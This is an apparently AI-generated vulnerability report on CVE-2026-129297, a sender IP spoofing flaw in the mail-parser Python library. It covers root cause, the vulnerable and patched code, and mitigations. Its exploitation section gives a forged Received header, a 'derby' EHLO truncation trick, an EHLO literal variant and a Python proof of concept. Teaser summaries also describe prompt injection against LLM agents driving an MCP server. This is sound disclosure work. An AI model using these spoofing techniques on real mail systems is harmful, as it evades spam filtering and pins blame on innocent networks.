CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-129297

CVE-2026-129297: Sender IP Address Spoofing in SpamScope mail-parser

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 17, 2026·11 min read·1 visit

Executive Summary (TL;DR)

SpamScope mail-parser versions prior to 4.6.2 are vulnerable to sender IP spoofing in get_server_ipaddress(). An attacker can craft HELO strings or pre-populate Received headers to force the parser to ignore the legitimate MTA hop and return an arbitrary attacker-chosen IP address. Upgrade to mail-parser 4.6.2 to resolve the issue.

CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.

Vulnerability Overview

mail-parser (distributed on PyPI and maintained by SpamScope) is a Python wrapper around the standard library email module designed to parse raw electronic mail messages into structured Python objects. It is widely used in automated email ingestion pipelines, threat intelligence platforms, and spam analysis frameworks to extract message headers, attachments, and routing metadata.

A critical security function provided by mail-parser is MailParser.get_server_ipaddress(trust). This method iterates through a message's Received header chain to identify the public IP address of the external mail relay that delivered the message to a trusted Mail Transfer Agent (MTA), identified by the caller-supplied trust string.

In versions prior to 4.6.2, get_server_ipaddress() suffers from Insufficient Verification of Data Authenticity (CWE-345). The parser relies on unanchored substring searches to locate header clause boundaries, uses appearance-based regular expressions rather than positional token parsing to extract IP candidates, and fails open when a matching hop yields no public IP address.

Because an unauthenticated remote sender controls the HELO/EHLO identifier recorded in the legitimate MTA's Received header—as well as any historical Received headers appended prior to message delivery—an attacker can manipulate the parsing logic. Downstream applications relying on get_server_ipaddress() for IP reputation checks, blocklisting, allowlisting, or forensic attribution can be forced to attribute incoming emails to an arbitrary IPv4 or IPv6 address.

Root Cause Analysis

The vulnerability in get_server_ipaddress() stems from three distinct flaws in how Received headers (defined in RFC 5321 Section 4.4) are parsed and evaluated.

1. Delimiter Confusion via Substring Matching

An RFC 5321 Received header consists of structured clauses separated by whitespace-delimited keywords, primarily from <sending-host> and by <receiving-host>. To isolate the sending host information, mail-parser prior to 4.6.2 executed a naive substring search for the characters "by":

by_idx = received_header.find("by")
from_part = received_header[:by_idx] if by_idx != -1 else received_header

Because str.find("by") does not enforce token boundaries, any HELO/EHLO hostname supplied by the connecting client that contains the substring "by" (for example, derby.attacker.com or nearby.example.org) triggers a match inside the hostname token itself. The parser slices received_header at the first occurrence of "by", discarding the remainder of the from clause—including the parenthesized client IP address recorded by the trusted MTA.

2. Unauthenticated Header Fall-Through

When inspecting the Received header list from top (most recent) to bottom (oldest), get_server_ipaddress() checks whether the trust string appears in the header. In a standard deployment, if a trusted edge MTA hands the message to an internal relay, the topmost hop records a private IP address, requiring the parser to step down to the next trusted hop to find the external public IP.

However, in vulnerable versions, if _extract_ip() returned None on a trusted hop (either because no IP existed or because delimiter truncation stripped the IP from from_part), the loop did not terminate. Instead, it continued iterating into older Received headers. Because a remote sender can prepend arbitrary forged Received headers containing the victim's trust string before transmitting the email, forcing extraction to fail on the legitimate edge hop causes the parser to fall through into sender-crafted headers.

3. Appearance-Based Candidate Selection and Family Priority

Even without triggering delimiter truncation and header fall-through, _extract_ip() selected IP addresses based on regex appearance rather than syntactic token position. Under RFC 5321 Section 4.1.3, a client may send an address literal as its EHLO argument (e.g., EHLO [8.8.8.8]), which MTAs record as the first token after from (e.g., Received: from [8.8.8.8] (real.client.net [1.2.3.4]) by mx.victim.com).

Because REGXIP.findall(from_part) scanned left-to-right across the entire from_part string, it matched the sender-supplied EHLO address literal before the MTA-verified IP address inside the parenthetical tcp-info group. Additionally, the parser evaluated REGXIP (IPv4) across the entire clause before evaluating REGXIP6 (IPv6). An attacker connecting over IPv6 could supply a spoofed IPv4 address in the EHLO string (or a private IPv4 literal like [127.0.0.1] to trigger fall-through) and completely preempt IPv6 extraction.

Code Analysis

Commit ce3cf3559db1ff806bda598b378de9f8c2a5be96 (released in version 4.6.2 via Pull Request #167) resolves the vulnerability by replacing substring slicing and raw regex scanning with boundary-aware clause parsing, positional candidate filtering, and fail-closed loop termination.

Vulnerable Implementation (Prior to 4.6.2)

In the unpatched code inside src/mailparser/core.py, get_server_ipaddress() iterated over all Received headers, checking for trust containment and delegating directly to _extract_ip(). If _extract_ip() returned None, the loop silently proceeded to the next header:

for i in received:
    i = ported_string(i)
    if trust in i:
        log.debug(f"Trust string {trust!r} is in {i!r}")
        ip_str = self._extract_ip(i)
        if ip_str:
            return ip_str
        # VULNERABLE: If ip_str is None (e.g., due to truncation or private IP),
        # execution continues to older, sender-controlled Received headers.

Patched Implementation (4.6.2)

The patch restructures get_server_ipaddress() and replaces _extract_ip() with _sender_ip_candidates() and _public_ip():

for i in received:
    i = ported_string(i)
    if trust not in i:
        continue
 
    log.debug(f"Trust string {trust!r} is in {i!r}")
    candidates = self._sender_ip_candidates(i)
    if not candidates:
        # FIX (Fail-Closed): If an authoritative hop contains no valid sender IP,
        # halt immediately instead of falling through to sender-written headers.
        log.debug("Trusted hop names no sender IP, stopping")
        return None
 
    ip_str = self._public_ip(candidates)
    if ip_str:
        return ip_str
    # Private IP: indicates an internal relay; continue following the chain.

To prevent HELO spoofing and delimiter confusion, _sender_ip_candidates() uses get_from_clause() (which splits on anchored RFC 5321 keyword tokens rather than substring .find("by")) and enforces strict positional rules:

def _sender_ip_candidates(self, received_header):
    """
    Return the IP addresses named in the from clause of a header.
    """
    # Normalize IPv6 prefix tags while preserving character offsets
    from_part = _IPV6_TAG_RE.sub("_____", get_from_clause(received_header))
    if not from_part:
        return []
 
    # Identify parenthetical/bracketed MTA groups and explicit helo= comments
    groups = group_spans(from_part)
    helo_spans = [
        m.span()
        for m in _HELO_RE.finditer(from_part)
        if in_spans(m.start(), groups)
    ]
    # Calculate the boundary of the first token (the unverified HELO name)
    first_token_end = len(from_part.split(" ", 1)[0])
 
    # FIX: Merge IPv4 and IPv6 regex matches by character offset position
    matches = sorted(
        list(REGXIP.finditer(from_part)) + list(REGXIP6.finditer(from_part)),
        key=lambda m: m.start(),
    )
    # Exclude matches located inside explicit helo= spans
    matches = [m for m in matches if not in_spans(m.start(), helo_spans)]
 
    # FIX: Require candidates to appear AFTER the first token and INSIDE groups
    candidates = [
        m.group()
        for m in matches
        if m.start() >= first_token_end and in_spans(m.start(), groups)
    ]
    if candidates:
        return candidates
 
    # Fallback for non-standard headers where the real IP is bare in token 0
    # and the HELO name was placed inside a parenthetical (helo=...) comment
    if helo_spans:
        return [m.group() for m in matches if m.start() < first_token_end]
 
    return []

Fix Completeness Assessment

The patch comprehensively addresses the identified attack vectors within get_from_clause() and _sender_ip_candidates(). By anchoring clause splits, merging IPv4 and IPv6 matches positionally, disqualifying the first token (first_token_end), and failing closed when candidates is empty, an attacker can no longer force fall-through via malformed HELO strings or override the MTA-recorded address.

> [!NOTE] > One architectural limitation remains inherent to the API design of get_server_ipaddress(trust): the method still checks if trust not in i: using substring containment across the entire Received header. If an internal relay prepends a Received header that does not match trust, or if an attacker injects the trust string into the from (HELO) clause of an untrusted relay hop that sits above the target trust hop, substring matching on trust itself could still evaluate to True. However, when trust properly identifies the outermost edge MTA, the topmost Received header is guaranteed to be generated by that edge MTA, rendering trust injection on lower hops unreachable under the new fail-closed logic.

Exploitation

Exploiting CVE-2026-129297 requires no authentication or special privileges (PR:N), nor does it require user interaction (UI:N). Any remote actor capable of delivering an SMTP message to a mail server whose downstream processing pipeline invokes MailParser.get_server_ipaddress() can trigger the vulnerability.

Attack Methodology: Delimiter Truncation & Fall-Through

To spoof an arbitrary IP address (e.g., 6.6.6.6) while connecting from the actual attacker IP (1.2.3.4) to a receiving mail server (mx.victim.com):

  1. Prepend a Forged Received Header: Prior to transmitting the email data (DATA command), the attacker includes a fabricated Received header in the raw message headers that contains the victim's trust identifier (mx.victim.com) and the desired spoofed IP ([6.6.6.6]).
  2. Supply a Trigger HELO/EHLO Hostname: During the SMTP handshake with mx.victim.com, the attacker issues EHLO derby.attacker.com. The substring "by" within derby serves as the truncation trigger.
  3. MTA Header Prepending: The receiving MTA (mx.victim.com) accepts the message and prepends its legitimate Received header above the attacker's forged header:
Received: from derby.attacker.com (derby.attacker.com [1.2.3.4])
	by mx.victim.com (Postfix) with ESMTP id ABC
	for <recipient@victim.com>; Mon, 1 Jan 2026 00:00:00 +0000
Received: from fake.example (fake.example [6.6.6.6])
	by mx.victim.com (Postfix) with ESMTP id XYZ; Mon, 1 Jan 2026 00:00:00 +0000
From: attacker@evil.com
To: recipient@victim.com
Subject: Spoofed Attribution Test
 
Email payload body here.

Proof-of-Concept Verification

When the downstream Python application parses this message using mail-parser < 4.6.2:

import mailparser
 
raw_mail = (
    "Received: from derby.attacker.com (derby.attacker.com [1.2.3.4])\r\n"
    "\tby mx.victim.com (Postfix) with ESMTP id ABC\r\n"
    "\tfor <v@victim.com>; Mon, 1 Jan 2026 00:00:00 +0000\r\n"
    "Received: from fake.example (fake.example [6.6.6.6])\r\n"
    "\tby mx.victim.com (Postfix) with ESMTP id XYZ; Mon, 1 Jan 2026 00:00:00 +0000\r\n"
    "From: spoof@attacker.com\r\n\r\n"
    "Body"
)
 
parser = mailparser.parse_from_string(raw_mail)
sender_ip = parser.get_server_ipaddress("mx.victim.com")
print(f"Extracted sender IP: {sender_ip}")

In vulnerable versions, inspecting the first header slices the string at "derby" ("Received: from der"), yielding no IP match. The loop then falls through to the second header and returns "6.6.6.6". In version 4.6.2, get_from_clause() properly isolates derby.attacker.com (derby.attacker.com [1.2.3.4]), ignores the first token, and extracts "1.2.3.4".

Alternative Vector: Direct EHLO Literal Spoofing

Even without injecting a second Received header, an attacker can issue EHLO [6.6.6.6] during the SMTP session. The edge MTA records:

Received: from [6.6.6.6] (attacker.host [1.2.3.4]) by mx.victim.com ...

In versions prior to 4.6.2, REGXIP.findall() returns ["6.6.6.6", "1.2.3.4"] and selects the first public IP ("6.6.6.6"), directly returning the unverified EHLO literal without requiring header fall-through.

Impact Assessment

CVE-2026-129297 carries a CVSS v3.1 base score of 7.5 (High) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N). The entire impact is concentrated in the Integrity metric (I:H), as the vulnerability corrupts the trustworthiness of network origin metadata extracted by the library.

Subversion of Email Security Controls

Systems that integrate mail-parser into custom spam filters, Secure Email Gateways (SEGs), or automated phishing triage pipelines use get_server_ipaddress() to query DNS-based Blackhole Lists (DNSBLs), IP reputation feeds, or internal allowlists. By spoofing a high-reputation IP address or an IP belonging to a trusted partner organization, an attacker can bypass IP-based filtering and deliver phishing or malware payloads.

False Attribution and Denial of Service via Blocklisting

In automated incident response or abuse-reporting workflows (the core use case of the SpamScope project), extracted sender IPs are frequently fed into automated blocklists, firewall drop rules, or external abuse reporting systems. By forging the IP address of a legitimate third-party mail server or critical infrastructure host, an attacker can poison threat intelligence feeds or trigger automated blocking of innocent third-party networks.

Remediation

Official Patch

Upgrade mail-parser to version 4.6.2 or later. The patched release is available on PyPI and GitHub and enforces positional candidate extraction alongside fail-closed header evaluation.

pip install --upgrade "mail-parser>=4.6.2"

After upgrading, verify the installed package version in the target Python environment:

python3 -c "import mailparser; print(mailparser.__version__)"

Workarounds and Mitigations

For environments where mail-parser cannot be immediately upgraded:

  1. Rely on MTA-Injected Authentication Headers: Instead of parsing Received headers via get_server_ipaddress(), configure the edge MTA (e.g., Postfix, Exim, Sendmail) to record the client IP in an Authentication-Results or X-Originating-IP header after stripping any inbound instances of that header from external senders.
  2. Correlate with MTA Transaction Logs: For forensic attribution and automated blocklisting, cross-reference the SMTP queue ID in the topmost Received header against local MTA connection logs rather than trusting regex extraction over in-band message headers.
  3. Enforce Strict HELO/EHLO Validation at the Edge MTA: Configure the edge mail server to reject non-FQDN HELO/EHLO hostnames or unexpected address literals from unauthenticated external peers (e.g., reject_non_fqdn_helo_hostname in Postfix), reducing the attacker's flexibility in crafting malformed from clauses.

Official Patches

SpamScopeOfficial Release 4.6.2
SpamScopeGitHub Security Advisory GHSA-72px-j8gh-p79x
SpamScopeGitHub Pull Request #167

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Affected Systems

SpamScope mail-parser (PyPI package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-parser
SpamScope
< 4.6.24.6.2
AttributeDetail
Vulnerability IDCVE-2026-129297 (GHSA-72px-j8gh-p79x)
CWE ClassificationCWE-345 (Insufficient Verification of Data Authenticity)
CVSS v3.1 Score7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Affected Componentmailparser.MailParser.get_server_ipaddress() in SpamScope/mail-parser (< 4.6.2)
Attack VectorNetwork (Crafted SMTP HELO/EHLO strings and forged Received headers)
Primary ImpactSender IP address spoofing, subverting email attribution and IP blocklists/allowlists
Exploit StatusProof-of-Concept (Regression tests public in official repository)
Patched Versionmail-parser 4.6.2

MITRE ATT&CK Mapping

T1566Phishing
Initial Access
T1036Masquerading
Defense Evasion
T1562.001Impair Defenses: Disable or Modify Tools
Defense Evasion
CWE-345
Insufficient Verification of Data Authenticity

The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

Known Exploits & Detection

GitHubRegression test cases in tests/test_mail_parser.py demonstrating HELO delimiter truncation, header fall-through, and address literal spoofing.

Vulnerability Timeline

Patch committed (ce3cf3559db1ff806bda598b378de9f8c2a5be96) via Pull Request #167.
2026-08-12
GitHub Security Advisory GHSA-72px-j8gh-p79x and CVE-2026-129297 published to NVD.
2026-11-16
OSV and global vulnerability databases updated with affected version ranges and patch references.
2026-11-17

References & Sources

  • [1]GitHub Security Advisory GHSA-72px-j8gh-p79x
  • [2]Fix Commit ce3cf3559db1ff806bda598b378de9f8c2a5be96
  • [3]GitHub Pull Request #167
  • [4]mail-parser Release 4.6.2
  • [5]NVD Vulnerability Detail: CVE-2026-129297
  • [6]CVE.org Record: CVE-2026-129297
  • [7]CVEProject cvelistV5 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-129299
6.5

CVE-2026-129299: Uncaught Exceptions and Silent Header Loss via Reflective Attribute Dispatch in SpamScope mail-parser

CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 3 hours ago•CVE-2026-129236
7.2

CVE-2026-129236: Command-Line Argument Injection in Kubeshark MCP Server

CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.

Alon Barad
Alon Barad
6 views•11 min read
•about 4 hours ago•CVE-2026-129235
5.3

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
5 views•8 min read
•about 6 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 7 hours ago•CVE-2026-129239
6.5

CVE-2026-129239: Privilege Escalation and Unauthorized Data Exposure in Directus SharesService

Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.

Alon Barad
Alon Barad
3 views•10 min read